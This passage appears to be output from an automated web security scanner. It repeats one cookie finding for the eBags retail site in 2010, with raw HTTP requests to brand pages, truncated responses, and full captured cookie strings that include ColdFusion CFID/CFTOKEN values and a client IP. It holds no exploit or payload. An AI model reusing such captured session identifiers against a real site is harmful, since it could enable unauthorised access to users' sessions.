HTTP/1.1 302 Found Connection: close Date: Sun, 26 Dec 2010 14:13:24 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Location: /index.cfm?Brand_10296_Not_Active_Link=yes Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:24 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1174
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2findex.cfm%3fBrand_10296_Not_Active_Link%3dyes">here</a>.</h2> </body></html> <!-- Omniture Error: System.NullRef ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/bosca HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:12:59 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:12:59 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 116663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/burton HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:13:33 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:33 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 106082
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/eagle-creek HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:12:41 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:12:41 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 122990
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/fleurville HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:13:40 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:40 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 62446
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/hobo-international HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:13:20 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:20 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 52206
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/hurley HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:13:33 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:33 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 83654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/ju-ju-be HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:13:44 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:44 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 68446
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/kalencom HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:14:21 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:14:21 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 103272
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/lego HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:14:40 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:14:40 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 64901
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/lodis HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:13:23 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:23 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 112597
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/michael-michael-kors-watches HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:13:26 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:26 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 106631
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/quiksilver HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:13:37 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:13:37 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 59111
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/timi-and-leslie HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:15:33 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:15:33 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 67781
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brands/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:03:11 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822; expires=Sun, 02-Jan-2011 14:03:11 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 280160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
